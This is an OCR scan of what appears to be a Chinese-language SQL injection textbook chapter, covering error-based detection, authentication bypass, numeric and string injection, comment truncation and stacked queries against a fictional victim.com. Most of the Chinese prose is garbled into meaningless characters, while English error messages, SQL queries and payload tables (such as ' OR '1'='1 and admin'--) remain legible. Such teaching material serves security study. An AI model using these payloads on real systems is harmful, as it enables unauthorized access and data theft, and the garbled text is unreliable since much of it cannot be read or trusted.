2R ociparse()BR B A R M H AR SHZ A RIEAT A0 3, A4 B 4 B 24 38 — R K] &7 —
B HADER, R E R FTR:

Warning: ociexecute() : supplied argument is not a valid OCI8-Statement
resource in c:\ www\victim.com\oracle\index.php on line 31

FlEABHESRI, ANBGRINESEEERERS SEENGEBRBMHX. BE—T
T TH B IR -

java.sql.SQLException: ORA-00907: missing right parenthesis

at oracle.jdbc.dbaccess.DBError.throwSqlException (DBError.java:134} at
oracle.jdbc.ttc7.TTIoer.processError (TTIocer.java:289) at
oracle.jdbc.ttc7.0all7.receive (0all7,.java:582) at
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oracle.jdbc.ttc7.TTC7Protocol.do0all? (TTC7Protocol.java:1986)

BUEFEMR & SQL & A) P FEAE “missing right parenthesis(Bt /DA FES)” k. BRERHLF]
RiZHER. BELAOBREREEERE SQL BT PHE X EHN. #ln:

SELECT fieldl, field2, /* Select the first and second fields */

(SELECT fieldl /* Start subquery */
FROM tableZ2
WHERE something = [attacker controlled variable]) /* End subgquery */
as field3 /* result from subquery */

FROM tablel

FRBFRART —AMREEW. £ SELECT EHBATHE S 15 —4% SELECT iE4).
REdE AR _FEREYEAFELENE IR SER SQL iIBA)ERHE, 4 Oracle ¥iR[E—
4~ “missing right parenthesis” 4515 .

2.2.3 [z FMa Rz

E—TNAT A5 6B ERAT E W R N AR E SR E R R mREER T X
HHER, BaGBRMEIEFEEEZNASZRFM SQL EAKE. A, BT RAKEIE
PERE IR BT AR AL, BTUFR S| SQL HEARFHA AR TN BHIBLES . K1
A EARHEEN ST B8 RNRE, EMREARNERE.

EE:

HARBEREZLEAMUNTARBTEANMEART LA SQL ENRR, B HHFELEA
ST He e H AL,

ML HAEE) SQL ENE, LA BHAMHAGo@mHEL, X—EEFTE, #UEA Web
REE, BEH Web il i BLRKF4 HTML BAES. HTTP €2 EF @ F1E.8. suit, ARE
IAfFad A HTML B, THEL LI SQL iEAS ) R4 R R,

FR SQL EAWREEBREERHA T BIEBAN, BIPRIE L N B BEE LR AR %
FIREIZRF MM, L, RASE-LERERTHES SQLIEATLXR.

BAEIR

E—AAT NEGEE R E B IR . RIEANER, RIVREZAWMBSERES
25| SQL HABE . B FHAE S, NEBABREIR, NARIRE—NEA IR,

Microsoft NET 5|5l —MREFHIRF, %5 RABREBITRERN, RINRFEIRS 28
R T, ik 2-6 BFis.

XRANERIUE . AN ARXEEREAT A B RS 48 SO AR E A€ LR TUEAY, &
SHRZTE. AEVHL, ZATAHBRT web.config AR E .

WRBR Web 3 mU R ILN FILG LR BIBRIA SR B SRR TUE, A2am%BEFFEER
RARZHE SQLEAT KM . 7l LLUEE M SH P mARN SR N AR SQL AASNRIHATRIR.
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Runtime Er

: % +]
R B e | —

Server Error in /' Application.

Runtime Error

A L the server. The curnent cusiom eror settings for this appication prevert the details of the application error from being viewed
remotely (for securty reasons). i could, however, be viewed by browsers running on the local server machine,

Detalls: Toerable the detais of this speciic eror message to be viewable on remote machines, please creale a <cuslomErorss tag within a "web conlig’ configurtion fie ocated
in the rood direciony of the current This tag shoukd its “mode” attribute set ko "Off",

<!-- Web.Config Configuration File -->

<configuration>
<system, webs>
<customBErrors mode="0ff"/>
</system.wch>
<feonfiguration>

Notes The current error page you are seeing can be replced by a custom ermor page by mocying the "defaullRedirect’ atirbule of the
tag fo point o a cusiom ermor page UAL,

<!-- Web.Config Configuration File -->

<configuration>

<sysiem, weh>
<customErrors mode="RemoteOnly” d cli " page.htm™/>
<fsystem.web>
<eonfiguration>
Done |-A_] FoxyProwy. Disabled [@]

B 2-6 BRiARY ASPNET &R HH
£ ERBI T, "TLMB SQL & #]5 T m I P 2 AL

SELECT *
FROM products
WHERE category='[attacker's control]’'

HEN attacker’ fRB B2 4E6R, BARBEMT BRHHET|S, XEHZ SQL EH H:

SELECT *
FROM products
WHERE category='attacker''

AT UZAEAN S EHRIAE . BEXENMREVGERSRROEE. EFpHE
B, RINEAZRXSEIEANE—NMHBRS|I SRR FEHBR S,
WRIENR bikes' or 'I'="1 ZFKINE, KF=EMHALRR? BLEM SQL EAW FHIR:

SELECT *
FROM products

WHERE category='bikes' OR 'l'='1l' /* always true -> returns all rows */
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A, RAWEANR SQL RIS T — M EEX. EFKEH. WRNAHSZE SQLEA
Wi, o LRIFHHER products RFEFTHMAT. EHEARIEEEM, EFIANT DKEEH.

PIBEHEAF 48T SQL #A)P M or '1'="1 FFRBWHERKILARES . RATATLURE S 61
HHEREN, FTUSHNERENEIFFER.

EANKEFGA MG : BHSRSETRTHRFLER. MRFELBAKICRK, B4
BEWRATHIR SR, 11 EHLFERBIREM Web IRF[HI KR BIR . 1% E BEHIFRINER -
EAN—ERSX B GRERWRMAE, L bikes'or '1'="2. B%{) SQL EWWI T Pr7s:

SELECT *
FROM products
WHERE category='bikes' OR '1'='2"'

1 AT 2, EEMHME, ERBERFHT:

SELECT *
FROM products
WHERE category='bilkes'

XX O, A LLEAT A AN -FGR: A —ASKEES . AEBRE R, RATRE
—AARLFEEE RN, LU bikes' AND '1'="2:

SELECT *
FROM products
WHERE category='bikes' AND '1'='2' /* always false -> returns no rows */

ERBEAALIREMEM LR, B WHERE T0) 5 M5 Ja — D& RIE A& O B2

o, HHERRRBXEHFAROZAME. MBENT —AKEEF, BRNAFNERET
R, BABAERYE, RARSRHESSIRZMMER. Bl:

SELECT * /* Select all */

FROM products /* products */

WHERE category=‘bikes' AND '1'='2' /* false condition */

UNION SELECT * /* append all new products */
FROM new_products /* to the previous result set */

APPEHEN A WEREHF -BIMEAGERIERE . MREASEOUER T BN —M5,
W2 B ERHEEA—ADREES, HERSWBIER. BREM “233 2LEX SQL EA”
— WA AER AT WA RRER.

HTTP {Ki5$8iR

HTTP A& 1R % R[4 Web HI BEAS (9ARFD, eI ARG K 89 45 Rl - i 6 BT
RIERAE.

B8 WL HTTP & F40ES 2 HTTP 200 OK, BRI/ HREAIIEE. #3l SQL HARH
B BERBHANRIRAE. F—2 HTTP 500 {UH5:

HTTP/1.1 500 Internal Server Error
Date: Mon, 05 Jan 2009 13:08:25 GMT
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Server: Microsoft-IIS5/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 1.1.4322
Cache-Control: private

Content-Type: text/html; charset=utf-8
Content-Length:3026

[HTML content]

Web fIR %528 /£ 2ILH KA Web SRR, R R BU4ER, (438 E HTTP 500. /R E1% 5 F SQL
HHIRAR R LL HTTP 500 #5 R AR B RIRE S/ 69, BRIEE FACE IR Web IR 28mI57, 2
IR [B] ) HTTP ARA%H R E B 1K)

HRIERN, FLENHSRBS A R E X B e E e R
WHE. Alfid HTTP 302 & & MRS R e Bl i s 4k

HTTP/1.1 302 Found

Connection: Keep-Alive

Content-Length: 159

Date: Mon, 05 Jan 2009 13:42:04 GMT
Location: /index.aspx

Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private

<html><head><title>Cbject moved</title></head><body>
<h2>cbject moved to <a href="/index.aspx">here</a>.</h2>
</body></html>

EROIFRHAPEE B L ET . 302 WAL A~ Location FB, %FEIEH Web
W RS i E S R B A, TR, Web B0 %8 1 S AL TR iZER4E, BRIE(EA Web f0HE
I Web RS 38N, 7 W iZ 3 EXHH P 2B .

TEBR Y RIK L IR S5 28 (1S Fh i B HTTP 500 5% HTTP 302 N & RAMTFINE, B XS
WERMNOCEUREM TR THT NHNERTY. ETFRUSBRME -NPEELMEAN, B
JEH) “23 Bk SQL A" — W& Rk iH#.

A E YR RE /)

BN H P RERMABITARGAE, ARBEESRINHATHREY, Wa
MR AERF . 22X FHK SQL IEANRIFEE, WAERREMN. BRMA PO TEEEZRE.

727~ SELECT 4RI A S, BHRAESH X 2 E4EERE SQL AT RN ESR.
HRARMNEEBHORBERNRREFNER, RERAHE ., AESSIREEARE. XHLE
TREGFHEREBERAER, B 2-7 BiR.
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File Edit View Terminal Tabs Heip

A 2-7 MNAR—B

#E 2.7, mEIEETHEANARBEK. 8RR tracking.asp TLH H [ idvisitor S
RHEATIG, Z A A T EREEV ] Web b £ http://www.victim.com HI5Z. R FIBEHIE QA
idvisitor T RIFE M B EHEIBE, WMRKELE SQL 518, A ELMIKRE IR m R [ 4
AP, BFREAA B, BENuNESHEEAR.

AL B AR EIFEREH A SENBH B/ Web B DI HFE). 4R4 SQL 4
B, BERAE S BB/ PE O . BAFRREMR/DREIR, EEB) SQL B (blind SQL
injection)Ei R, BATTRI A IRE FHERFI A XHEER, T—HRE 5 BLHEHANH SQL BEHER.

224 SQLE:F

Web LA REIEERREZAN. HFALNBMRTHFEEFBHEENLA /. EXMER
T, BhE RSB SQL BMH B ABEETRERRFR.

ERATEEESERENTEER, BEHFRARBABALEZE SQL FAKTE. XERE
FREMARESHEARF. HFERE THHETF. '

Victim 24 &) fo¥Ff Fifi it http://www.victim.com/authenticate.aspx I [ L {1 5 1 RiF R 2 &
FE| Web 38, SHRIERPLERAFMAEFZRNO4. MRERBBMARFLMO4,
WALERTAESER “Invalid username or password” 8. XET UK BMWE R . {B0RH
A user'or 'I'="1 fERRAF 4, W& 2-8 Bz,

, B 2-8 B/ T Victim 2 7 SR RAE RGN — 6. NAKBIERNEHF 2E2ERAR

RN R, B—2it, username FEREER 5 SQL FEAK .
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Invalld password
Usemame fuser or 1'=1
Password [#esssenes
Send [
L Done lé*;J_Fmng Disabled [@]

& 2-8 SQL B RHI—KE

RBUXMWOE, TEA—NABEHEHREREENER, XN —SREREIESS
A, i 2-9 FiR.

Authentication form - Victim Inc. - Mozilla Firefox

_Ble Edit View Higtory Bookmarks Tools Help o
‘ » e @ ﬁ Lhttpfmu:tlm com.fauthentlcate aspx wlzaviuoogre !@,l
Invalid username or password

Username pser‘ and '1'='2
Passwond [resessnss
_Send |
o |VA_| FoxyProxy Disabled [@)

B 29 SQL HiERH—KE
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e BRAS, B LL#IA username 7B 5 52 Fl| SQL HE A i . {H password FBIA S
F\¥ik, WHTLES B RIERS,

R PERAH BRI E YR . BRAOVRFERH-

e username #fF A KB, RHE7R “Invalid password” o

e username &A% HRRS, REEIR “Invalid username or password” .

IXRPE AR D SQL Bi¥. 5 5 EHE YR SQL HiEMEHHEA.

SQL B {E&—F SQL iAW, K T LAY SQL B4y, N LF 0 SR EIA
R, BRAGELERRTNER.

T SQL B yENRFIEH FENT B B Web IR RIZBMEWHER, EMERMA &R, 2
FERAESNEAR. B 5 FLFMITER A ZRREPER.

SQL B & —FRH WHERIR, HE RS ER A 2RAFE WIGEE aTRearil Az,
S O B R i ) L, A N ERB T

Victim 2 7 % 5 75— showproduct.php U . %W SN id MSH, 2S00
ME—DX 43 Web 3 5 _EBIREAER SR . VR T I RiE R U

http://www.victim.com/showproduct.php?id=1
http://www.victim.com/showproduct.php?id=2
http://www.victim.com/showproduct.php?id=3
http://www.victim.com/showproduct.php?id=4

FANERE B RBRABEENEMOVESE R . BaXF eIy kA R . 22—
Hi, Vietim AT IR T — LK )R EY Web 355, EARAH P EEfEiEE#H R

WMiRI% Web 5 SNS R, NATEBIBENERNRARRE S, TIIRAIHE
R4 B % — 47 & (www.victim.com /showproduct.php?id=1):

http://www.victim.com/showproduct.php?id=attacker
http://www.victim.com/showproduct.php?id=attacker’
http://www.victim,com/showproduct.php?id=
http://www.victim.com/showproduct.php?id=999999999 (not existent product)
http://www.victim.com/showproduct.php?id=~1

B HATH 1k, FHBH Victim 2 875 EHZN R B B E| T 24 RE. [Hun RS
W4 &M, FEEFERSIZW idH 2 B -
http://www.victim.com/showproduct.php?id=3-1

http://www.victim.com/showproduct.php?id=4-2
http://www.victim.com/showproduct.php?id=5-3

bk URL %W % S 54y SQL iG] Hi% T 5177 X7

SELECT *
FROM products
WHERE idproduct=3-1

B FE v B KB IR [B] idproduct 2 2 BTG A
ot AT CAAE B i g AT R, (8 R S 0 A0 B T B ™ 1O F2 {1 %5 4 (Internet  Engineering
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Task Force, IETF)®7E RFC 2396(4t— % R 1R fF[Uniform Resource Identifier, URI]: 5
B)FER, SR URLRES, HEHETHNS. "JTLLH%2B E NS H URL 4.
Xt 4> P 8 7= idproduct 24 6 KR B ~B1, RI# A T % URL k&K R:

http://www.victim.com/showproduct.php?id=1%2B5 (decodes to id=1+5)
http://www.victim.com/showproduct.php?id=2%2B5 (decodes to id=2+4)
http://www.victim.com/showproduct.php?id=3%2B5 (decodes to 1d=3+3)

SRR, BT LU d /R mis A&, QI RRE R

http://www.victim.com/showproduct.php?id=2 or 1=1
-- returns the first product
http://www.victim.com/showproduct.php?id=2 or 1=2
-- returns the first product

FEE—AERS, Web fi%28&[F idproduct 2 1 (IR & X F 28 4K, &[] idproduct
A2 B
TER—FBAT, or I=1 LEUBEEREI AR M. BERFRANZEUNRE, BRE 4
[EECP
B BT, or I=2 MERBAEEM, PITHERTEL.
EHEBCERIRT, REAHR R DB — 235 . i, aTLA%#E AND %
HIZH TR B OR. IXHE—3K:

http://www.victim.com/showproduct.php?id=2 or 1=1
-—- returns the second product
http://www.victim.com/showproduct.php?id=2 or 1=2
—-— returns the first product

AR, ZHES E—BELPFE2ME, AAS &4 AR EIE AR, KR
T e 3R (2] 5 — 14+ 7 i

BEEENE, HERKTLIRAN SQL EWHEMLEMN T IRIEIE. thot, Web R
R EIE MR ERARE R . RATFETLFIN SQL Bk AN FFUhE T B3I A

2.3 A SQL EA

L AT 1 B B 24 R 95 28w R R 4R SQL I ARTFRIBIA o
VUNRE G, RAOIFEE —FA R SQL EAIRH A SQL AR .

BARW DAME A — S IR BRI A U SQL iBA), HEFERIHE, §MNAHERN
&, HEmEDS SQL EASBEEME K., XEREFEHAEER -HETRFIGERE
SR R IE LR .

R BARE— 8845 32 B AR A A AT ai N A s L KRIR . BB B AR,
& T B RA I SQL iEK, BERETEEIEESTHIT AALTIRAEMER. AR
PO BH R I B R SQL E AT T AR R
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231 RXOWFMEFS

BRMEARE SQL HEAER, BREN SQL ESH AN T4, HAT SQL HEAF)
m,ﬁ%%ﬁﬁﬁﬁﬁﬂﬁ$ﬁmﬁﬁ%ﬂﬁEﬁﬁﬂﬁK@%ﬁﬁﬁﬁfﬂﬂ%Eﬁﬁﬁﬁ%:

o XF: AHEEMAKE|BRER

o JAhRE: {FRBESIERER

TR P B SQL B AR -

SELECT * FROM products WHERE idproduct=3
SELECT * FROM products WHERE value > 200
SELECT * FROM products WHERE active = 1

$Eﬁﬂ,ﬁ%ﬁ?ﬁ%ﬂn%@$ﬁﬁ¥ﬁ%oEﬁ??&ﬂA&&ﬂﬁﬁ%%%ﬁ
BE—R, MESHILXFER.
FERAEAH TS SQL &R

SELECT * FROM products WHERE name = 'Bike'
SELECT * FROM products WHERE published date > '01/01/2009"
SELECT * FROM products WHERE published time > '01/01/2009 06:30:00"'

AREBIFRIHERR, BT FRHRAEEEA R S3RK. JORERRLUXH I Rk
%ﬁ%?ﬁﬁ%ﬁﬁﬁﬁ%ﬁ%oWﬁﬁﬂ%&n&Aﬁﬁﬁ,—ﬂﬁﬁﬁﬁwmmE?ﬂ
EE%E%%#*%*¢&$¢EW&ﬁRuEEE%%@EE,EAE%&$W$H$$&
i, BEELRESISNEA.

FTUMER 5 BB FEEIER, FEELS B EERRE TR R ER, B,
2+12'=122", TidE 4.

23.2 AE SQL EA

A4 A B P BE SQL YA (Inline SQL Tnjection) {91 F-. PIBRHE A R 96 1 B T A — i
SQL R, BRMBAMIIRELINIT. 8 2-10 IR T WEE SOL HEA MR B .

l
ST — -

B 2-10 WEBGEAR SQL REG

1. FREARBGEAN

B — A BB R B e B TR By iR e S EAR T A TR,
Wmmﬁﬁﬁ—ﬁﬁﬁﬁﬁﬁ$.mTﬁH\%bMﬁ%ﬁﬂﬁﬁrﬁﬁﬁﬁﬁﬁﬁFﬁ
Aﬁﬁ%ﬁF%ﬂDéoﬁ%ﬁﬁFﬁﬁD%ﬁ.ﬁmﬁﬁﬁﬁﬁ%“ﬁﬁﬂuﬁﬁFﬂﬁ&
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iE. EEHRE TIIHR:

SELECT *
FROM administrators
WHERE username = '[USER ENTRY]' AND password = ' [USER ENTRY]'

MBI E M BREBATEAFE, BMRIITU G RIEA RSB NA.
BHE, HPEMOLH0EERASABRANRSIS5E%R, IRRRIGERHN. WES
X8 SQL B — e BAIZIX — . B 2-11 BoR T B A QIR SQL 354,
© Administration - Victim inc. - Mo #illa Firefox =]
Bl Edt View Huory gookmarks. Toos Hop S o
€ D@ O Q[ rommcimcommsmmmaon ]| B T Y

Administration

Usemamel
Password l

Send | :
= i

|SELECT FROM administrators WHERE username = _UGERNAMEJ AND password =* [ PASSWORD | *
— S — S —

Done ; |2 [ FooProy Dissbled [@)]

B 2-11 BHEABARIRE SQL B4
Bl 2-11 EEAR T A E U AL E 4> SQL EA].

TE:

HEMIFIA SQL ENRFIT A T RBROH: ESTERFRARE Web AR+ 4
B RABABRARILAE SQL RABM A E. e RAERLEREBEABITHAL, MARTR
AR PRI g 1 LR R 480k 5| 5 A B B b hm 3] 5,

A, RATELENRES AR TR M RFE I REBFOTE. M FiXMEn,
BREAFAFTFHEER, DEFERIEEATHES.
7E Username TN\ —MNES| S, Hif Send 5, ﬁlﬁl?ﬂ%ﬁ;

Error: You have an error in your SQL syntax; check the manual that
corresponds to your MySQL server version for the right syntax to use near
''*' ' at line 1

ZHERRUARASZ SQL AR T . ERMARLHIER SQL HHW T HiR:

SELECT *
FROM administrators
WHERE username =' ' ' AND password = ' ' ;



48 SQLEABESEHE

BHFEAD 2GS BEHEEE LAEERR, FmHdEERE — MR, Web RE B4 X
R RIEE P oo
NRIHRIAZ S, BTk EHRENE—&EXN SQL By, ZHIEA)NAEHZN AR
&4 UM ESR T S R AEFE S
XBEBREERE—NFHEME, BHAEHHFFRRRAFZBEASISSRE
“Unclosed quotation mark(K F & #15| FARIE)” $4iRk. BEIRXERERE, FATE username FEh
FENOR'I'="1, D&FEFAT. HMALRTF) SQL EA:

SELECT *
FROM administrators
WHERE username =' ' OR 'l'='1l' AND password = ' ' ;

EEEEA R ENER. UAR NG FBOEE TRUE, FXEBEENFEERLR
i f8. AND Lt OR #i# BRI, ATME TFHIFRES SQL B4, RFSERSHEML.

SELECT *
FROM administrators
WHERE (username = ' ' OR '1'='1l" ) AND (password = ' ' );

XHARRBAEME I, EXIXER4REIIREAEE 04T rIEgsmn-— R
OR & A (ELIN'OR 1=1 OR 'I'="1)R M2 XFIT A

SELECT *
FROM administrators
WHERE username = ' ' OR 1=1 OR 'l'='l' AND password = ' '

T OR LM i%E AIK LR EIE, WA ULHE & RIETR. LRI A
T @it 4 E SQL AR R %A . BREHRSKRI, FLER FLIE SQL EAIFFA
4T, BTl EdEAR G AT D,

iR[E] administrator 35 FTA 4T (A TLEIX Lo T b SR A 0 B ToVESEIT S0 2 5 S R UEAL
#, TR RERRE T, M T XMER, TAZRE W admin' and 1 = 1 or '1'="1"' XF¥
mip %, F=AEF 5 SQL AUH:

SELECT *
FROM administrators
WHERE username = 'admin ' AND 1=1 OR '1'='1' AND password = ' '

FikiBE 4] HR[E username 4T admin HERAT. HiAHE, XEFEMMENKMF, FL
AND password="2#1EH .

FRATTHEFT LA password FBHEAN SQL %, XIEAG P ERERKRES . ZEEZEN
MR, REEA—A NE&HEAN'OR 1'="1) K& T I EHEIAT:

SELECT *
FROM administrators
WHERE username = ' ' AND password = ' ' OR '1'="1";

%5 47i& [F] administrator # T E K947, FETASIFIA T KA.
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£ 2.1 BT —MEAFHBRIIR, FHFFANFHRFRPHNBIEANSAEEN.

#2-1 FHEABRTAGSEE

ARFHF B T # e R

' AR WERY, FRPERRF—HER

1'or'1'="1 1Y or (1="1 AE&M. MBRY, HEERTHENT

value' or '1'="2 value") or ('1'="2 gege e, B EkTh, MRES B EAHERE RS R

1'and '1'="1 1') and ('1'='1 ABES. BT, WARBEPEMT

1' or 'ab'="a'+'b 1) or ('ab'="a"+'b SQL Server HBEE. WL, NHEE 5K EFMHM
RHER

1'or 'ab'="a''b 1) or (ab'="a""b MySQL BB, WURMT), NWEEESHE&HTHR
R

1'or'ab="2"{ 'b 1" or (‘ab'="a' I 'b Oracle &8k, WA, MERES5KEKHHERN
58

2. WFEREKEA

A T —AMER R BN S Y RIEL R BB T BT RS AT
— X P EPAT R A B

B P AT LU R B Victim 24 F V5 1) B S E0R0R, B LA EIUEA RS B TR . B4
PR — N AR YRR uid, AR uid TR RGNS

5 Bk EEA A PG B URL #iH F IR

http://www.victim.com/messages/list.aspx?uid=45
FE—AHISWR uid 2, HHBTIEIR:

http:www.victim.com/messages/list.aspx?uid="
Server Error in '/' Application.
Unclosed quotation mark before the character string ' ORDER BY received;'.

HEMELEFERNOEL, TLRETIER:
http://www.victim.com/messages/list.aspx?uid=0 having 1=1

AR BRI T

Server Error in '/' Application.
column ' messages.idmessage ' is invalid in the select list because it is
not contained in an aggregate function and there is no GROUP By clause.

BERRFE R, TUWEETERS % LK SQL RS T AR

SELECT *

FROM messages

WHERE uid =[ USER ENTRY]
ORDER BY received;



50 sQLFAMEHSEE
2-12 B THEAR. SI8H SQL BRI S Z2WFH K S .

«® 008 v :
Y our Messages

SELECT * FROM messages WHERE uid = [T ORDER BY received; | |
1 |

Lm S R %—i FoxyProsy: Disabled [&]

B 2-12 ¥FEEAREE

HER, EANMRFRATELENFNES| 52T, A60HRANTUEEN URL
I uid SHEITIEAN

X B BRAIFA X BE EER B B R . NRERAE N uid BEGHTAEMEE, EmRMN
ATELTFFIA message FTEFEMIT. X FXMHER, RITKRAKTIEREMN —&XKE(or 1=1)iE
f], ZIERALSHEREMNMHAHNE, MREEEFEHBAKMEE. X URL T

http://www.victim.com/messages/list.aspx?uid=45 or 1=1

HHERRREIFH KR, W 2-13 BiR.

Aozilla FireTox

SELECT * FROM messages WHERE uid= | UID |

oone ] iy e [8)
E2-13 FAEHEFEEA
EAGE RBP4 TF SQL EA):
SELECT *

FROM messages
WHERE uid=45 or 1=1 /* Always true condition*/
ORDER BY received;
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BFEANT KEE&Mr 1=1), FTEEEERIEE message THFHMAT, MARERL
RIEE P AT, 8 4 RN BABE— SR A RRAREREREER T NERYEE, EER

FABBOR P BB -

# 2.2 T WS E R AR E R A .

%22 WFERBEANPEE

Wi F

O

s R

bR . IR, BIREEAEE MR

1+1

3-1

ISR ETh, MR 5 8R4 4 R R

value + 0

R, NEEES R KA FRE

1 or 1=1

Dor (1=1

KB WRMIY, NHRELREFHTH KT

value or 1=2

value) or (1=2

SR, WRMT, MHEES Rk AEAR R RS R

1 and 1=2

1) and (1=2

ABEM. RRT, BEREERDEMT

1 or 'ab'="a'+'b'

1) or (ab'="a"+'b'

SQL Server B3Et. ), WHRESKEEMHH
FfE B

1 or 'ab’='a' 'b'

1) or ('ab'="a’'b'

MySQL #E. MR, W38 B 55 7k B A AE R AY
58

Lor'ab="a' | b

1) or (ab="a’ || 'b'

Oracle Sk, GRMRTY, WHEE 5 RIEHAHEFN
H8

M 22 FAERB, FrEEANTRREEEAMUGEN . BAREFE SQLEARF, £
B RIEMR SRR EERATH A NS, REEH X SR LIE AN S0

233 21X SQLFEA

ALLEE 2B AR KRB NRBFE SQL EARF. E—WAHET ABEASR, &1
FAnATIE I 4 E B — 4 2 SQL 4], £ i3 SQL EANE AR B FAEA SQL R
B, EIEERR T ARG RIZER. M 2-14 BR T 105K SQL EAKIREHE.

B 2-14 RAERI, FEARRGLIET SQL B, REILZBEQS), EFEERRT
IR DLE A BT .

|

IRk SQL R

B 2-14 #ER SQLEA
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1. 8RR

M 2-14 FTLLE th, BANT Il — 473K BE SQL E & RA M RFEMIBIIT. #
TREMBIOTEZEIEETRE, SQL RIS iER 5 HAGREE S T RNERERL, wEide
AIFALIE E A\ B R R 28 Z IR 15 B . % 2-3 45 T [ SQL Server, Oracle F1 MySQL ¥4
JE IR AN VB

*2-3 WIEETE
W B E 1 s = @ &
SQL Server ! Oracle --(double dash) HATFRTER
" HAT TR
—(double dash) | FIT TR, RS A dash EHH— 1
MySQL SR B HIFROOHRT . BT
# HTBRATHER
A ATFEITER

R
B i R L AEM BT 4642 BAR D . IR P de P 69 AT EA A BRI P R, 7T
VAME T % AT iR RS AT X S PR ), UREAEA F RS EEN—AHEA:

http://www.victim.com/messages/list.aspx?uid=45 or 1=1
Fit, wFERFRT £4, SQLEGRA:

SELECT *
FROM messages
WHERE uid=450rl=1

KRB ERAMBE LR, Tolifdo R A5 ST HRBRRA ZH:
http://www.victim.com/messages/list.aspx?uid=45/**/or/**/1=1

HEHTLLR PN EATH, RRBAK K, CIAE message RV A 647,
B TEHT2 BFHAGES—F L FmAGEE AR LA T8GR,

BT RIOBARAEA SQL R KN TR . HHE FIHER:
http://www.victim.com/messages/list.aspx?uid=45/*nello yes*/

WR N 5 R, B RE S T ERBEE R uid (. W0RAL IR E R R LA,
MAKAREE uid=45 HMEMLER, NBIEEZE TEBRNA. XL ENFE SQL EA
Wi .

2. ERER
HAVE P U HER R L SQL E4].
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BT RAHA Victim 2 7 Web ¥ A HMEERSHRIEHHE. B 2-15 BR T41E5 SQL
BRI

Administration - Victim Inc. - Mozilla Firefox

Bh _Edit View Higtory Bookmarks ].wls Help

* i* e q‘j ﬂl hrttp : [wwwcvictim, comfadmin/findex. php o ]—v_] b]_[ﬁ‘j-|: ogle _li}
Administration

| SELECT * FROM WHERE = [USERNAME | ' AND = [ PASSWORD |

[oow Ao sorvo s g e ] Festron yeked 1)

B 2-15 FIAZ% L SQL iEH

X B F B IZIRIFR L UL SQL #E4). RATH ) username FBHE MU IXIEN .
N'or 1=1,—-R15, XHEIETHEN:

SELECT *
FROM administrators
WHERE username = '' or 1=1; —-- ' AND password = '';

ML 1=1 KE&M, ZBEAKIEE administrators RPFIHIAT. H—PU, E8K
TEREEHMNEANE, RIIAFTEEMLD AND password=".
BATLLEEEN admin--RKEBRBMAS . ZREHLRTIIER:

SELECT *
FROM administrators
WHERE username = 'admin' ; -- ' AND password = '';

AR R TS B 4 R UEHL 1T B AU [EI 5 admin AP IAT .

HHRHE S KRR & T double dash(-), FIBERE MR A ERAT T4,
ARG R B R T N A TR . XA T, ATUAMERSATER( Y)REHR
SQL 4P ERIER . ZERERFEENHZREHNSH, AEETHZESHESQL
EHPHALE.

B 2-16 BAR T — A BTG HER, NWEMEL, XERHT Password FBITH
XA, DARAREFME A S AT R B
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Hle Edit View History Bookm:

orks Tools Help TR s RIS o)

Administration - Victim Inc. - Mozilla Firefox

@«-2-o 6 |- ] hltp:H\MM.vlctIm.comradrn;-n;‘i;d.e-);;:;;_

SELECT * FROM admil

Administration

Usemame Edmlmf'

Password |+ |

Send I

WHERE

Done

oommenl'sd__r:olda ._L‘%Ji FoxyProxy. Disabled IQ'

B 2-16 WAFITERMAES

S EM username FEUEAMBERA S, ER/AFFIERERENI T, 7 password F
BUPGR T ERC)HRBEGRERMT — 8315, SBEOERERARSH SR LN,

B SQL AT :

SELECT *
FRCOM administrators

WHERE username = 'admin'/*' AND password = '*/'!';

T BRIERE 5 ARG AT L S8 2 i 158 B i 49 -

SELECT *
FROM administrators
WHERE username =

Iadminl II’.

AR, BMNBBEEA AN FRHERERZLEY, RANBAEREEAT /1 #3E,
XRBRMEEZEBIN . RIEFEE N TLRE, EALNBEHSEREETARR.

LROIT RS TR ERERBMA . #IT SQL EANRN, FRHBEEL-HEHNN
. HT7E SQL Server. MySQL # Oracle " L& AME, BTLART R R B 84E HiR 5
EREEENTR. R24FH T EHEBEFHEREER.

WMRE Web NAIF KRB HRATNSE, BENTEHETESIEE, BAIHE
A CAE 75 B BRI LUR B . ARE TR R E R AR 8 SN EH RS K

KRB TR I
F24 WRERERENET
W EE ¥ & = Bl
SQL Server 'a'+'b' = "ab'
MySQL 'a’ 'b'="ab'
Oracle '] 'b ='ab'




http://www.
http://www.
http://www.
http://www.

victim.
victim.
victim.
victim.

com/displayuser.
com/displayuser.
com/displayuser.
com/displayuser.,
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aspx?User=Bob -- Original request
aspx?User=B' + 'ob -- MSSQL server
aspx?User=B' 'ob -- My3QL server
aspx?User=B' || ' ob -- Oracle

B EX A T RIRRIE, WA EIEITIEE G RS 8 LERE. HPERE
RAREREEANE, BT R E S EE A R R R, T IR B SR -
% 2-5 55T 76 AE PR R R R 5 0 ROAE LB 20 A F i) — LeARr A

F2-5 {FRANIRETERNEANBIEE

PIAF B W Mg R

admin'-- admin')-- 3 5k 35 [ B o ) admin 47 HOK SR 5 4 I HEHL I

admin'é admin' MySQL — i 3 i [F 3% FE P i) admin 178 REEL 5 6
KUEHLE]

I.- - FERE FRAW, AERRHERTIEASREERA
th WHERE J #1552 i) id 38 23%

1 or 1=]-- Dor 1=1-- EA—AHF B8, BREFHET

‘or '1'="1"-- Yor '1'='1"-- FA—NFRESE BRIFET

-1 and [=2-- -1) and 1=2-- FEANEF B, ARBUEFT

*and '1'="2'-- ") and '1'=2"-- EA—ANFHRBE, AEMEMIT

1/*comment*/ BTE N R, A R IER AT
B, 3XFH B TIN5 SQL iF ARIR

3. MITHHKIER

4\ SQL B4k — B3 ES T 10 A% 4 BOHE FE IR 55 48 00 SQL ARG HIFEHIAL. SEFR b, X
R 3 AR SLOUR B T 3O P GURE OIE 4. WREC IR T —4% SQL WA, At LAl
—&AFMEARBINE.

SQL Server 6.0 fE3LAM P SIN T RS HoliF b, TSR VFFE R — SRR ERITR A 2 &
BRI, B 6.0 2 50 SQL Server BRAK) X FZ I e B A VFIAT FFIIEH:

SELECT foo FROM bar;

SELECT foo2 FROM bar2;

de Py B F| SQL R4 S HOR BT R 4B, HORHE RS 88 10 & P iR Bl A TR U R

EHERE.

MySQL & 4.1 K2 A B BT IAT R, BEERNER T HA LRI
Oracle N % &EA], BRIEEA PL/SQL.
ERIBZEA, BEETERBEILE —FEN, IXPEIE 2 G AT DO AT RO SQL AR
